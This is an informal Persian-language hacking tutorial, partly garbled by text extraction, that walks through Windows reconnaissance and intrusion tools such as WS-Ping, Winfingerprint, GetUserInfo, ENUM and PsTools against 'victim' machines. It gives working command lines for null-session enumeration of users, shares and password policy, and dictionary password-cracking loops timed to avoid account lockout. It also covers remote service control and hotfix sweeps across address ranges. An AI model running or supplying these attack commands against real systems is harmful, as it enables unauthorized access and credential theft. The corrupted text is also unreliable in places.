 سليقه ای ییآجور  البته از نوع نرم افزارها زیاد هست یک  ، من قبول دارم این   ،  خوب این هم تجاری ولی کارای آن اسيدی و اساسی و درست             
  . پس داده باشند خوب بسه بریم سر کارمان درس خود شان را است البته من آنهایی را معرفی ميکنم که از این همه جواب

دارای گزینه هایی مانند دو ابزار قبلی است اما با ایѧن  .استی آن برای تبليغ   ا چون بقيه منوه   TOOLSه ميکنم یک راست برید در قسمت        توصي
من با تجربه ای که دارم چون ما داریم از یک نرم افزار استفاده ميکنيم سѧعی کنيѧد هميѧشه از بѧه روز بѧودن           ( تفاوت که کامل تر و البته قوی تر         

طمئن باشيد ، دوما  سعی کنيد هميشه یک کار با چند نرم افزار مختلف انجام بدهيد و نتيجه ها را با هم مقایسه کنيد زیѧرا هѧر کѧدام در انجѧام                آن م 
البتѧه ایѧن را اضѧافه کѧنم ایѧن سѧرویس هѧا دیگѧه منѧسوخ شѧده و هѧيچ راهبѧر                 . که من از توضيح آنها صرف نظر کѧرده ام           ) یک کاری قوی هستن     

    .echo  ،  Daytime  ،  Quote  ،  Chargen: ی ریسک نميکند و آنها را فعال بگزارد  مثل شبکه ا
  

  یعنی فقѧط نتѧایج بѧرای کѧامپيوتر شѧما اسѧت        Local همگی  NetBIOS و Winsock Info  و  TimeSync  و Database Testsکليد های 
راحѧت ميتوانيѧد بѧا آن بѧازی     ... ورت های مربوطѧه هѧر کѧدام را نѧشان ميدهѧد و      سرویس ها و پ ) Database Tests( که اولی .  را نشان ميدهد 

  NetBIOSدومѧی بѧرای تغييѧѧر زمѧان اسѧت  و سѧѧومی را کѧه بѧالا گفѧѧتم چѧی هѧست و آخѧѧری اطلاعѧاتی در بѧѧاره          . کنيѧد تѧا بفهميѧѧد چѧه کѧار ميکنѧѧد      
 بѧا کليѧد   . کرده و بѧه دلخѧواه و یѧا  بنѧا بѧه احتيѧاج خѧود پيکѧر بنѧدی کنيѧد           که البته شما همگی اینها را ميتوانيد دست کاری      .کامپيوتر به شما می دهد      

Launcher ميتوانيد با توجه به پروتکل انتخابی خود به هدف خود وصل شوید .  
 TCP و    Port Scan به بعد نيست و ۵ که از نسخه Port Probeبا عنوان های  )زیاد جدی نگيرید  (  تا امکان فوق جذاب دارد٣این برنامه 

TERM.    
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.  اسѧت  IP دارد که البته مثل دو نѧرم افѧزار قبلѧی بѧرای پيѧدا کѧردن ماشѧين هѧای فعѧال در یѧک رنѧج مѧشخص             Net Scannerگزینه دیگری با نام 
 ميѧشود  nmap  برای جستجو کردن پورت های بѧاز روی ماشѧين قربѧانی اسѧت البتѧه دارای کѧارایی خѧوبی اسѧت بعѧد از           Port Scannerگزینه 
نتایجی را که نمایش ميدهد با یک نماد کنارش است اگر دایѧره سѧبز نѧشان داد یعنѧی پѧورت بѧاز              .  بهترین ها است   جزو بهترین هست یا لااقل      گفت

 در داخل آن نشان داد یعنی پورت باز است و اطلاعاتی از سرویس باز کننده پورت را هم کѧشف کѧرده بقيѧه               bاست اگر دایره سبز با یک حرف        
  . یعنی پورت بسته است یا اینکه دیوار آتش از دسترسی به آن جلو گيری کرده است نماد ها هم

 و NC است که با آن ميتوانيد به یک پورت خاص وصل شده و فعل انفعال داشѧته باشѧيد کѧه خيلѧی خѧوب اسѧت البتѧه        TCP TERMگزینه بعدی 
Telnet هم این کار ها را ميکنند .  

  
۴-  WS-Ping Pro Pack:    
  

  
  
 نرم افزار قبلی کارایی یک سانی دارد تجاری است اما مثل قبلی ها کرک زیاد دارد روی تمامی نѧسخ وینѧدوز اجѧرا ميѧشود دارای                ٣ن هم مثل    ای

  :گزینه های زیر است 
Info :            اطلاعات مقدماتی در باره هدف بدست ميآورد از قبيلWhois   و DNS  ل با      ...   وѧد کامѧل     البته اگر نام را مينویسيد بایѧام کامѧی نѧد یعنѧش

  . را وارد کنيدIP  ننویسيد چون یکم مشکل پيش می آید توصيه ميکنم آدرس WWW.xxx.comنه مثلا . ماشين باشد 
HTML :  گزینه ( مثل گزینه های مشابه خود Web Browser  زارѧدر نرم اف SAM SPADE  هѧو گزین  HTML   زارѧرم افѧدر ن net info  

 و مѧشابه نѧرم افѧزار هѧایی بѧالایی اسѧت کѧه توضѧيح آنهѧا          کѧاملا مثѧل  ...  وLook up و Trace Route و Ping.در دو نѧرم افѧزار بѧالای اسѧت    ) 
  .صرف نظر ميکنم

خوب تا به حال یک سری نرم افزار شناسایی مقدماتی هدف را معرفی کردم از این جا به بعد من یک سری نѧرم افѧزار معرفѧی ميکѧنم تѧو همѧين                   
  !!مایه ها 

Rhino 9 Pinger :   
  

  .دارای سرعت و دقت زیادی است. است IPیک نرم افزار برای تشخيص بالا بودن ماشينهای درون شبکه با دادن یک رنج 
Visual Route:   

 است که گفتم چه کار ميکنند این نوع نرم افزار هѧا  ایѧن یکѧی ، یѧک محѧيط گرافيکѧی دارد کѧه موقعيѧت تقریبѧی از          Trace routeیک نرم افزار 
 باشѧѧѧد کѧѧѧه ایѧѧѧن شѧѧѧکلی از سѧѧѧایت خѧѧѧودش بѧѧѧا نѧѧѧام   ١٠آخѧѧѧرین نѧѧѧسخه اش فکѧѧѧر ميکѧѧѧنم نѧѧѧسخه  .ن بѧѧѧه مѧѧѧا ميدهѧѧѧد مѧѧѧثلا کѧѧѧشور و شѧѧѧهر  مکѧѧѧان ماشѧѧѧي

com.visualroute.www   یک سری نرم افزارهای دیگری هم دارد که اگر خواستيد ميتوانيد بگيرید.  ميتوانيد بگيرد.  
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  . روز اول رایگان است١۵ است برای 9.2aاین نسخه البته 

  
  :  Necrosoftابزارها ی شرکت 

   org.nscan.www است و بسيار ساده و البته با کارای بالا اسѧت کѧه از سѧایت خѧودش بѧا نѧام        Trace route  وDNS و Whoisکه در مورد 
  .ميتوانيد دریافت کنيد

  
  
  

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

   :Win finger print ابزار 
  

 open البته یک ابزار متن باز یا به اصѧطلاحی   است کهWin finger printیک ابزار همه کاره دیگر که به شدت در حال توسعه است ابزار 
Soursبرای در اول البته این . کامل توضيح ميدهم آن را  است کهLinux   د   که  جالب است ویندوز آن آمدبود ولی بعدا نسخهѧالبته می توانيد ک

  . کنيدلخودتان ویرایش کرده با توجه به نيازتان بعد آن را کامپای منبع آن را
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  .از امکانات این برنامه را در اختيار شما ميگزارد% ٣۵یک چيز اول از همه بگویم که رابط کاربری این برنامه فقط 
 فقط توضيح ميدهم چѧون گزینѧه هѧای دیگѧر آن تѧابلو اسѧت       Enumeration Optionکاربری می باشد که قسمت این نرم افزار دارای یک رابط 

ولѧی کنترلѧی     و تمام امکاناتی را که گزینه آن را هم در ایѧن پنجѧره وجѧد نѧدارد هѧم تѧست ميکنѧد        گزینه اول که معنی واضح ایی دارد     !!! کارشان  
 دنبال چيزهای به اشتراک گذاشته شده روی ماشين قربانی ميگردد البته باید Sharesگزینه ؟ !؟!؟! ؟ولی بد نيست !! پس هيچی   روی آنها ندارید    

 یکی از امکاناتی که این برنامه دارد و اتفاقا هѧم کѧارایی خѧوبی دارد گزینѧه     . باز باشد تا نتيجه ای داشته باشد١٣٩ و یا  ۴۴۵های   یکی از پورت  
Role       ای                        است که کارش تشخيص نوع سرور وѧسخه هѧه آن در نѧفانه گزینѧه متاسѧت کѧوب اسѧی خѧات خيلѧراه جزئيѧه همѧل روی آن بѧسيستم عام 

 در نسخه های Userامکان دیگر . را انتخاب کنيدAllجدید حذف شده و شما باید آن را از خط فرمان بعلاوه سویچ این گزینه اجرا کنيد یا گزینه          
هѧر یѧک از کѧاربران سيѧستم را کѧشف کѧرده و شѧما        ) SID( گزینѧه شناسѧه سيѧستمی    اسѧت کѧه ایѧن     USER NAMEجدید و در نسخه های قѧدیم  

 اسѧت کѧه تمѧام سѧرویس     Servicesگزینه دیگѧری کѧه مѧورد برسѧی قѧرار ميѧدهم گزینѧه           . را پيدا کنيد   ) SID=500( ميتوانيد شناسه مدیر سيستم       
  است که کار این گزینه این است که به مѧا ليѧستی از اسѧامی    Sessionsگزینه بعدی گزینه   . به ما می گوید      اهای فعال  بعلاوه نسخه نرم افزار ر       

NetBIOS    دѧدی   .  سایر سيستم هایی موجود را که به سيستم مقصد متصل است به ما ميدهѧه بعѧگزینRegistry     ѧرس جѧک پѧه یѧت کѧاره  و اسѧدرب 
خوب گزینه های مهم این با توجه به تجربه ای که       .یگه را ميدهد یا نه و یکسری خورد ریز د         Registryاین که اجازه دست رسی از راه دور به          
خѧورد یѧا    راستی حتما این تحت خط فرمان اجرا کنيد و یک زره ای با آن بѧازی کنيѧد ببينيѧد بѧدرد تѧان مѧی                دارم به شماها گفتم بقيه اش با خودتان         

  !!نه
     :joewareابزار 

 که مѧن  . توسعه یافته اشاره کردJoe Richards  که توسط آقای joewareابزار  به مجموعه  معرفی کردميتوان  برای ویندوزی کهابزار دیگر
ابزارهѧای بيѧشتری هѧم دارد کѧه خѧوب اسѧت ولѧی ایѧن         ،  البته  این مجموعѧه  Get User Infoیکی از این ابزار ها را زیاد استفاده می کنم به نام 

  . درد شماها هم بخوردشاید بهکه م ویها هم ميگ که به شما ن ،می  می اندازد براهکار رارا دوست دارم چون یکی 
را   net ایѧن فرمانهѧای   ی شѧماها   خѧود وینѧدوز کѧه اگѧر دوام آوردم بѧرا     Net userایѧن ابѧزار خروجѧی حاصѧل از اجѧرای آن بѧسيار شѧبيه فرمѧان         

با نام کѧاربر   نرم افزار که بعد از اجرای این ببينيم . ولی یک سری تفاوتهای اساسی دارد که این ابزار را ، از بقيه متمایز ميکند           ، توضيح ميدهم 
Administratorچه جوابی به ما ميدهد .  

C: \> getuserinfo.exe administrator 
Getuserlnfo V02.05.O0cpp Joe Richards (joe@joeware.ne) 
January 2002 
User information for [Local]\administrator 
User Name                                Administrator 
Full Name 
Description                                Built-in account for 
                                                administrating               
                                                the Computer/domain 
Users Comment 
User Type                                  Admin 
Enhanced Authority 
Account Type                          Global 
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Workstations 
Home Directory 
L User Profile 
Logon Script 
Flags                                     NO_PWD_EXPIRE 
Account Expires                     Never 
Password age in days          249 
Password last set                   7/6/2001 3:22 PM 
Bad PWD count                      0 
Num logons (this machine)       2432 
Last logon                              3/12/2002 8:24 PM 
Logon hours                            All 
Global group memberships       *None 
Local group memberships        *Administrators 
Completed . 
 

فيلѧد هѧای    قيمتѧی  در بѧاره کلمѧه عبѧور بدسѧت آورده اسѧت کѧه در        بѧا اطلاعѧات  . را با خط زرد نشان داده ام  Net userتفاوتهای این برنامه را با 
Password age in days و Bad PWD count و Num logons (this machine)ل و     نمایش ميدهدѧه و تحليѧرای تجزیѧا را بѧکه  کار م  ...

بѧه کلمѧه عبѧور فѧرض کѧرد و مقѧدار ایѧن موعѧد قفѧل           دسѧتيابی  نشانه ای از تلاش برای را ميتوان گفت که Bad PWD count فيلد .راحت ميکند 
 نکѧردن پѧسورد را بѧر    رزمѧان تغييPassword age in days   ѧفيلѧد  . شدن حساب را بواسطه اسرار در بکارگيری کلمات اشѧتباه را نѧشان ميدهѧد   

برای دیدن نام تمام کاربران بѧا  . تعداد دفعات وارد شدن به ماشين توسط این حساب را نمایش ميدهدNum logonsفيلد . حسب روز نشان ميدهد 
  :این نرم افزار از دستور زیر استفاده ميکنيم 

C:\>Getuserinfo.exe \. 
  :استفاده ميکنيم که مثلا جواب ميگيریم

C:\>Getuserinfo.exe \. 
Getuserlnfo V02.05.O0cpp Joe Richards (joe@joeware.ne) 
January 2002 
User Accounts For [Local] 
------------------------------------------------------------------------------------------------------------------ 
Administrator               Orc                             Skycladgirl 
Test                              __Vmware_user__      
 

  : به این صورت کهRemote  است هم  Localخوب این را ذکر کنم که این ابزار هم 
C:\> Getuserlnfo.exe  \\ x.x.x.x\. 
C:\> Getuserlnfo.exe  domain \\x.x.x.x\. 

  ) .سيدخود را بنوی  هدف مورد نظرIP شماره x.x.x.xبه جای (  مورد نظر ما را نشان ميدهد IPخوب این دوتا ليست کاربر های 
  .بنویسيد و اطلاعات تکميلی را بگيرید( . ) البته بعد از بدست آوردن ليست کاربران ميتوانيد اسم آن کاربر را به جای 

   :ENUMابزار 
  . است ENUMابزار دیگری که معرفی ميکنم که البته دارای قابليتهای خوبی نيز هم هست 

مثѧل بيѧشتر نѧرم افѧزار     . باز است  شماترس همگان است پس اگر نيازی به تغيرات داشتيد دستاین ابزار از نوع کد باز بوده و کد های آن در دس 
 بѧاز باشѧد البتѧه فقѧط بѧرای نفѧوذ بایѧد ایѧن            ١٣٩ البته این را بگویم که برای نفوذ با این ابزار بایѧد پѧورت                . است ++Cهای خفن کد های آن بر پایه        

  !! است که البته من مثل روال مقاله همه آنها را توضيح نمی دهم گزینه های این نرم افزار بسيار.پورت باز باشد
قابليتهای این برنامه بسيار زیاد است مثلا وقتی از شما سيستمی کلمه عبور و نام کاربر ميخواهد و کار دیگه ان جمع آوری اطلاعѧات از سيѧستم    

وقتѧی در خѧط فرمѧان اجѧرا ميکنيѧد برنامѧه را ایѧن هѧا را            . م توضيح ميدهم  هدف است که من فعلا دنبال این هستم نه چيز دیگه ایی البته اولی را ه               
  :می بينيد

C :\> enum.exc 
Usage: enum.exe        [switches]           [hostname │ip] 

-U:  get user list 
-M: get machine list 
-N: get name list dump (different from -U │-M) 
-S: get share list 
-P: get password policy information 
-G: get group and member list 
-L: get LSA policy information 
-D: dictionary crack, needs -u and -f 
-d: he detailed, applies to -U and -s 
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-c: don’t cancel sessions 
-U: specify username to use (default  "" ) 
-p:  specify password to use (default  "" ) 
-f:   specify dictfile to use (wants D) 

 
  !!!!هورا . بيشتر توضيح بدهم  کمیکه این دفعه سعی می کنم بر خلاف روال مقاله یک

 قابѧѧل دسѧѧت یѧѧابی اسѧѧت انبѧѧوهی ۴۴۵ و یѧѧا ١٣٩ از طریѧѧق پѧѧورت $IPCبѧѧا فѧѧرض ایѧѧن کѧѧه منبѧѧع مѧѧشترک " توجѧѧه کنيѧѧد " گزینѧѧه اول  ) ٧( هفѧѧت 
 یعنѧی  NULLال ما با قربانی هم در این برنامه و برنامه قبلی از نѧوع         البته اتص .( اطلاعات را درباره سيستم هدف برای ما جمع آوری می کند            

  . گزینه با هم امکان پذیر است ولی آنقدر به ما جواب ميدهد که گيج ميشویم ٧اجرای این ).ناشناس است 
C:\ enum.exe UMNSPGLD 192.168.0.3  

يل آن مѧشکل اسѧت مѧن عمѧلا از ایѧن ترکيبѧات کѧه ميگѧویم اسѧتفاده ميکѧنم                   همانطور که گفتم این دستور درست است ولی جوابها زیاد و تجزیه تحل            
  : را استفاده ميکنم مثلUPGمثلا من ترکيبی از سویچ های .

C :\> enum UPG xxx.xxx.xxx.xxx 
Server: xxx.xxx.xxx.xxx 
 
Password policy: 
                 min length: none 
                 min age: none  
                 max age: 42 days 
                 lockout threshold: none 
                 lockout duration: 30 mins 
                 lockout reset: 30 mins 
getting user list (pass 1, index 0) . . . success, got 5. 
                Administrator Guest IUSR_ALPHA   IWAN ALPHA 
                Tslternet User 
Group: Administrators 
ALPHA \ Administrator 
Group: Guests 
ALPHA \ Guest 
ALPHA \ Ts Internet User 
ALPHA \ IUSR_ALPHA 
ALPHA \ IWAM_ ALPHA 
Group: Power Users 

واضح است که هيچ محدودیتی در برابѧر  .همانطور که می بينيد به واسطه وجد خطوط زرد پی به این موضوع می بریم که این ماشين هلو است    
 مѧا پѧی ميبѧریم کѧه نѧرم افѧزار       )IWAN ALPHA  و   IUSR_ALPHA(و بѧا وجѧد نѧشانه هѧای     وجѧد نѧدارد   مهѧاجم  توسѧط  حدس زدن نادرست کلمѧه  

  )!!!!هورا سایت هک شد دیگه ( است ت در پيت مایکروسافIISاحتمال قریب به یقين ) WEB( سرویس دهنده وب 
  . را به ما می دهدTerminal Services خبر از فعاليت سرویس Tslternet Userو نشانه 

  :می نویسيم . اجازه دهيد یک ترکيب های سویچ دیگری را هم بگویم 
C :\> enum.exe MNS  xxx.xxx.xxx.xxx 
Server: xxx.xxx.xxx.xxx 
Setting up session … success. 
Getting namelist (pass 1) … got 5, 0 left: 
        Administrator Guest IUSR_ALPHA    IWAM_ALPHA 
        TsInternetUser 
Enumerating shares (pass 1) … got  3 shares , 0 left: 
         IPC$ ADMIN$ C$ 
GETTING MACHINE LIST  (PASS 1 , INDEX 0) … SUCCESS , GOT 0. 
CLEANING UP … SUCCESS. 

  
البتѧه بѧا توجѧه بѧه اطلاعѧات      . همانطور که می بينيد علاوه بر نمایش ليست کاربران موجود منابع مشترک مورد اسѧتفاده را نيѧز آشѧکار شѧده اسѧت          

 نمایش داده شده $C دارای یک درایو هارد است که در خروجی برنامه به صورت        طبالا ميتوان حدس قریب به یقين زد که سيستم مورد نظر فق           
 Webیѧѧا اصѧѧطلاحا " ریѧѧشه سѧѧند وب " مѧѧی تѧѧوان ایѧѧن جѧѧوری نتيجѧѧه گرفѧѧت کѧѧه  )  هѧѧم دارد IISمѧѧی دانѧѧيم (  توجѧѧه بѧѧه ایѧѧن اطلاعѧѧات  بѧѧا.اسѧѧت 

document root نيز بر روی همين درایو و در موقعيت C:\Winnt\temSys32 ی     .  قرار داردѧب اساسѧاد دادم ترکيѧما یѧاین ترکيبی که به ش
 در ایѧن برنامѧه اطلاعѧاتی در    L–گزینѧه  .  در پيت با توجه به داشتن بѧی نهایѧت  بѧاگ  و اکѧسپلویت اسѧت              IISعليه سرویس دهنده وب مخصوصا      

  .در اختيار ما قرار ميدهد  ) LSA و یا Local Security Authority( مورد خط مشی احراز هویت در سيستم محلی 
 !!! فاقد رمز عبور باشد ( SID=500 ) ممکن است اغلب با موارد خاصی روبه رو شوید که حساب مدیر خوب
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  . می توان اطلاعات مربوط به شناسایی یک کاربر به خصوص را مورد برسی قرار دادp– و u–با بهره گيری از دو گزینه 
C:\>enum.exe –UMNSPGL –u administrator –p " " xxx.xxx.xxx.xxx 

  
  !!!زنگ تفريح 

حتمѧا تѧا بѧه حѧال ایѧن مѧی       . حساب مدیر روی سرور برای تمѧام خانѧدان خѧود بѧاز کѧردن              تا ١٠و      زدن  ISPم که رفتن    وی ميگ ااین برای پولدار ه   
قفѧل نمѧی شѧود و    ) وارد کѧردن هѧزاران بѧار کلمѧه عبѧور نادرسѧت         ( هرگѧز بѧه واسѧطه تѧلاش نѧاموفق            ) administrator(دانستيد که حساب مدیر     

 یѧک  نѧرم افѧزاری    بѧرای رفѧع ایѧن عيѧب    . تحان کنند برای کشف کلمه عبور مدیر همين باعث ميشود نفوذ گرها وسوسه بشوند تا شانس خود را ام           
 کѧه تѧا حѧدودی ایѧن عيѧب را برطѧرف کѧرده دیگѧه         Passport/administrator بѧه نѧام   Windows Resource Kit در بسته نرم افزاری هست

  .بقيه کار با خودتان 
  

  :هم هست در این مورد از فرمان زیر استفاده ميکنيم به این صورت !!) ت کم سرع( برای کشف کلمه عبور با این نرم افزار که البته کند 
C:\>enum.exe –D –u Administrator –f  dict.txt 

در (  هѧم آدرس  dict.doc هѧر نѧام کѧاربر دیگѧری را مѧورد اسѧتفاده قѧرار دهيѧد و بѧه جѧای               administratorنѧام کѧاربر     که شما ميتوانيѧد بѧه جѧای         
  .حمله خود را وارد کنيد ) دیکشنری ( و نام فرهنگ لغت ) یل در همان پوشه نباشد صورت اینکه این فا

اما اگر  سياست های امنيتی به گونه ای بود که مثلا با . خوب این برای حساب های مدیر است که هيچ محدودیت زمانی و طول کلمه ندارد است         
ود به مدت زمان مشخصی مѧا بایѧد چѧه کنѧيم ؟ خѧوب بعѧضی هѧا فکѧر مѧی کننѧد کѧار             تعداد چند بار وارد کردن اشتباه کلمه عبور حساب قفل می ش           

  .امکان پذیر است % ١٠٠دیگر محال است اما من با روشی که یادتان می دهم مدت این کار خيلی زیاد ميشود ولی 
اطلاعѧاتی کѧه داریѧد مѧی فهميѧد کѧه مѧثلا           بدسѧت مѧی آوریѧد کѧه بѧا       p–اول سياستهای کلمه عبور را با سѧویچ  . خوب با یک مثال آموزش ميدهم 

در ایѧن مѧدت حتѧی بѧا وارد کѧردن کلمѧه درسѧت هѧم بѧه شѧما           (  دقيقѧه قفѧل مѧی شѧود          ٣٠ حساب بѧرای      بار کلمه عبور اشتباه      ۵بواسطه وارد کردن    
کار از دستور زیѧر اسѧتفاده مѧی    برای این ) امکان  ورود به حساب هم داده نمی شود و یا حتی در این مدت اصلا نمی شود به آن کلمه عبور داد                      

   ) : Sleepبا استفاده از تابع تاخير( کنيم 
  

C :\>For /F %%p in (dict.exe) do enum.exe    u Istari   p  %% p  M xxx.xxx.xxx.xxx >> output.txt && sleep 
180s 

  ... با مجوز حساب مدیر وا تمام نام کاربر ه حساب های هم گروه را کشف کنيد مثلاتوانيد  است که به راحتی میG–خوب یک سویچ  
را روشѧن  " دوگولѧه  " این مثال کلی و در بقيه موارد هѧم کѧارایی دارد          ( یک نکته   . این گفتم تا تجربه اساسی خودم را در اختيار شما ها بگزارم             

 عبور برای حداقل یکی از نامهای کاربر  برای شما بيѧشتر   را بدانيد احتمال پيدا کردن کلمهlimit با مجوز مثلا ااگر شما تمام نام کاربر ه  ) کنيد
  :برای استفاده از این نکته با توجه به مسائل بالا  از فرمان زیر استفاده ميکنيم !! ) چرای این قضيه را خودتان بفهميد ( است

  
C:\> for /F %%p in ( dict.txt ) do for /F %%u in (users.txt) do enum.exe   %% u in (usres.txt) do enum.exe     u 
%%u     p %%p  M  xxx.xxx.xxx.xxx >> output.txt 

  
  .حاوی نام کاربران بزرگ باشدو فایل ) تعداد کمتری کلمه( این روش هنگامی به اوج سوپر خفنی ميرسد که فایل  حاوی کلمات عبور کوچک 

 رویه این مقاله تمام نکات و تجربه های خودم را نيز رو کرده ام اما اشѧکال نѧدارد   خوب الان که داشتم دوباره این مبحث ميخواندم دیدم برخلاف    
یک سری ها را خودم کشف کردم بيشتر آن را هѧم دیگѧران ،   !!  شدم هکر که نبودم  هبعضی ها را هم من از این آن یاد گرفتم و از اول که زایيد   

  .پس بگزار من به دیگران هر چی بلد هستم یاد بدم 
   :Pstools ابزار جعبه

 که خلا موجود بين دستيابی به اطلاعات کاربران سيستم و دسترسѧی کامѧل بѧه         است Pstoolsخوب ابزار بعدی که ميخواهم یاد بدهم جعبه ابزار          
این جعبه ابѧزار یѧک کوچولѧو    . ميتوانيد بگریداینجا توسعه یافته و از Mark Russinovichآقای این مجموعه به همت .خود سيستم را پر ميکند 

مشکل دارد و آن هم این است که چون اساس بر جمع آوری حداکثر اطلاعات ممکن گذاشته شѧده بѧر خѧلاف دو ابѧزاری کѧه بѧالا توضѧيح دادم از                              
  . دست نميدونم شاید پا هم بگذارداستفاده نمی کند و یک کمی  رد ) NULL( اتصال ناشناس 

  برای این که این مجموعه درست کار کند و ما نتيجه حداکثری بگيریم باید حداقل چند شرط زیر نصفه نيمه برقرار باشد
  .لازم است به اطلاعات کاربران دست رسی داشته باشيم •
 . هم باشدNet Logon سرویس بد نيست. روی آن ماشين راه بی اندازیمServerلازم است یک سرویسی به نام  •
 . دست رسی از راه دور داشته باشيمRegistryبد نيست به  •
 . باید در دسترس باشد$IPCمنبع مشترک  •

از قابليتهѧای ایѧن مجموعѧه ميتѧوان بѧه         . برنامه هلو دارد که به واقع فرایند مدیریت سيѧستم را بѧه لحظѧات شѧيرینی تبѧدیل ميکنѧد                     ١٠این جعبه ابزار    
  ... )خيلی زیاد امکانات آن و... (دین ماشين در آن واحد و اجرای دستور ها روی آنها ودسترسی به چن

  
   :PsFileابزار اول 
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به گونه ایی مѧی  . استفاده ميکند آشکار نمود   ) همان ماشين اجرا کننده دستور    ( ماشينی دارد از ماشين دیگر    توانيد فایلهای که    ی  شما با این ابزار م    
خوب این ابزار بѧه درد مѧدیر بيѧشتر بخѧورد تѧا مѧا چѧون بѧا آن مѧی توانѧد جهѧت اشѧکال             .  استفاده کرده اید Net fileفرمان شود گفت که انگار از 

  .کارایی دارد...  زدایی در اشتراک فایلها و رد یابی غير مجاز دسترسی ها و
  

  :ورت زیر برای کار برد از راه دور استفاده کردتمام این ابزار ها را می توان به ص. خوب این یک بار ميگویم برای کل این ابزارها 
\\RemotHost  -u  user name    -p    password 

    :PsLoggedOnابزار 
برانی را که از طریѧق راه دور     است که کارش این است ليستی از کارPsLoggedOnابزار ابزار بعدی که آن هم فقط اندکی بدرد ما ميخورد   

از دید گѧاه یѧک انѧسان بѧد راه انѧداختن یѧک حرکѧت حملѧه گونѧه از مѧدل سѧرریزی بѧافر بѧه              .شده اند را مشخص ميکند    به یک منبع مشترک متصل      
  .ماشينی که تعدادی کاربر به آن متصل هستند زیاد جالب نباشد 

   :Ps Get Sidابزار 
 یѧک حѧساب کѧاربر چنѧد     SIDبѧه مѧا ميگویѧد کѧه      است که همѧانطور کѧه از نѧام آن ميفهميѧد     Ps Get Sidابزار سومی که من معرفی ميکنم ابزار 

در نتيجѧه دیگѧر   . اسѧت  ۵٠١عѧدد   و حساب ميهمان ۵٠٠ عدد   Sidاست با توجه به دانستن این موضوع ميفهميم که مثلا هميشه حساب مدیر آخر               
  ...با عوض کردن نام حساب مدیر به ميهمان ما گول نمی خوریم و 

C:\> psgetsid.exe  \\ xxx.xxx.xxx.xxx  -u  Administrator -p  
  :بعد اینجوری جواب ميدهد

IM! Secure ORC SID for xxx.xxx.xxx.xxx \\ OCR: 
S-1-5-21-145-4471165-484763869-1708537768-501 

  !!!!خوب حالا ما ميفهميم که این آقای مدیر نام کاربری حساب مهمان را عوض کرده و گذاشته مدیر 
 در مѧورد یѧک کѧاربر خѧاص اعمѧال شѧود ایѧن بگѧم کѧه ميتوانѧد شناسѧه سѧایر کاربرهѧای یѧک               SID تѧا در خواسѧت      خوب این بگویم که لازم نيست     

  .سيستم را هم برگرداند
   :PsInfoابزار 
 که  استPsInfo چهارمی که  معرفی ميکنم و خيلی هم خوب است اما فقط به صورت محلی اجرا ميشوند از راه دور متاسفانه ابزار                 )۴ (ابزار
 دسترسی از راه Registryخوب اگر شما به .را ميدهد به ما...  های نصب شده وHot fixن شناسایی سيستم عامل و ریشه اصلی و ليست کار آ

  .  به همين اطلاعات دست یابيد Registryدور دارید ميتوانيد از شاخه زیر در 
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix 

  :رفع عيب نه چندان کوچک این ابزار بدرد بخور هم یک راه  است و آن هم استفاده از دستورخوب برای 
  

C:\>for /L %I in (1, 1, 254) do PsInfo \\xxx.xxx.xxx.xxx.%i > systeminfo_xxx.xxx.xxx.xxx. %i.txt 
  

هѧا هѧم همѧين جѧور باشѧد و حتمѧا آن را در  قالѧب کѧاربری از         بدون نام کاربر و کلمه عبور است که بهتѧر اسѧت بѧرای شѧما            توجه کنيد این بچ فایل      
  .حوزه مورد نظر اجرا کنيد 

  
    :PsServiceابزار 
  است که کارش راه انѧداختن و متوقѧف کѧردن سѧرویس هѧا و نѧشان دادن کѧل سرویѧسهای               PsServiceپنجم که معرفی می کنم ابزار        ) ۵( ابزار  

اگر ایѧن ابѧزار را تنهѧا بѧدون هѧيچ سѧویچ  اجѧرا کنيѧد ليѧست          .  استNet Stop  و  Net Startدو فرمان این ابزار خيلی شبيه .اجرا شده می باشد 
  .تمام سرویس ها را به شما ميدهد

  :شما با فرمان زیر می توانيد مثلا سرویسی را روی یک ماشين از راه دور شروع و یا متوقف کنيد
C :> psservice.exe \\xxx.xxx.xxx.xxx Start W3svc 

  !! را روی یک سرور آپاچی راه می اندازد IISکه این فرمان سرویس 
  . اطلاعاتی در باره وضعيت سرویس در اختيار ما ميگزارد queryسویچ 
  . اطلاعاتی در باره برنامه ایی که  سرویس مورد نظر در حال اجرای ان است به ما ميدهد Configسویچ 
  . حال اجرا روی شبکه است  برای آشکار کردن سرویس های درFindسویچ 

 را اجѧرا ميکننѧد مѧی تѧوان دسѧتور را اینگونѧه       Terminal Servicesمثلا به منظور کشف کردن ميزبان هایی از یک حوزه شѧبکه کѧه سѧرویس    
  .نوشت 

C :\> psservice.exe find termservice 
Found termservice.exe on: 
\\sun 1 
\\rostay 3 

  . دار را کشف کنيدهتفاده از این نرم افزار و یک اسکنر پورت ميتوانيد سرویسهای مسئلخوب این بگم که شما با اس
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٢٥    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

  Pslistابزار 
مѧی ترکاندنѧد   " قمѧپض  " بѧرای شѧما   … چپ ميرند راست ميرند و، ششم خوب با این ميتوانيد حال آنهایی را که با داشتن لينوکس هی          ) ۶(ابزار  

  ) مقاله را فقط برای پسرها نوشتم بله این.!! ( را سر جایشان بنشانی پسرم
  . استPslistاسم این ابزار 

 dاین ابزار توانایی ليست کردن فرایند های موجد برروی سيستم محلی یا یک سيѧستم از راه دور را دارا ميباشѧد و بѧا اضѧافه کѧردن سѧویچ هѧای                    
اجѧرای  ( این ابزار هم ميتواند به صورت کلی . را نمایش دهد ها و حافظه و یا ترکيبی از این دوThread به ترتيب اطلاعات مربوط به      x و mو

همه پروسه ها را نمایش دهد وهѧم ميتوانѧد یѧک پروسѧه خѧاص را بѧا جزیيѧات بيѧشتر نمѧایش دهѧد مѧثلا بѧه ایѧن                 )  در خط فرمان     Pslist.exeخالی  
  :صورت 

C :\> Pslist.exe iexplorer 
  .که دوست دارید بنویسيد ميتوانيد هر پروسه ای را iexplorerشما به جای 

استفاده این گونه از ابزار بيشتر در مواقعی که بخواهيم کلمه عبوری را کشف کنيم موثر است زیرا با اجѧرای ایѧن دسѧتور دسѧت یѧابی بѧه شناسѧه                           
نѧه مѧافوق دکتѧرا گرفتѧه        به راحتی ممکن است البته ایѧن ابѧزار در ایѧن زمي            ) یا هر برنامه رمزنگاری دیگر     ( LSASSبرنامه    ) PIDیا  ( فرآیند  

   !!!اکرکر هاست از انجمن 
